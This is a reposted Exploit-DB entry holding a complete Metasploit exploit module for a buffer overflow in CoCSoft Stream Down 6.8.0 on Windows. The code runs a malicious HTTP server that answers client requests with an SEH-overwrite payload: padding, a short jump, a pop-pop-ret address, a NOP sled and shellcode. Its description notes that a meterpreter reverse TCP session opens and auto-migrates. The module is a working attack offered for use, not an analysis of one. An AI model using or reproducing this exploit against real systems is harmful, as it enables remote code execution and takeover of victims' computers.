CoCSoft Stream Down 6.8.0 – Universal (Metasploit) - 体验盒子

作者： Fady Mohammed Osman

日期： 2011-12-27

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/18283/

##
# $Id: stream_down_BOF.rb 1 2011-12-18 $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking
	include Msf::Exploit::Remote::HttpServer
	
	def initialize
			super(
					'Name' => 'StreamDown Buffer over flow universal exploit',
					'Version'=> '$Revision: 1 $',
					'Description'=> 'Stream Down Buffer Overflow universal exploit tested against win xp sp3 and win7 sp1. Also note that the program will not crash in case of meterpreter reverse tcp payload but a session will be opened',
					'Author' => 'Fady Mohamed Osman',
					'References'	 => 
						[
								['URL', 'http://www.dark-masters.tk/']
						],
					'Privileged' => false,
					'DefaultOptions' =>
						{
							'EXITFUNC' => 'seh',
							'InitialAutoRunScript' => 'migrate -f'
						},
					'Payload'=>
						{
							'BadChars' => "\x00\xff\x0a"
						},
					'Platform' => 'win',
					'Targets'=>
						[
							[ 'Automatic',{ } ],
						],
					'DefaultTarget' => 0,
					'License'=> MSF_LICENSE
)
	end
	def on_request_uri(cli,request)
		seh = 0x10019448
		nseh = "\xeb\x06\x90\x90"
		sploit = "A"*16388 + nseh + [seh].pack('V') + "\x90"*10 + payload.encoded 
		cli.put(sploit)
		close_client(cli)
	end
end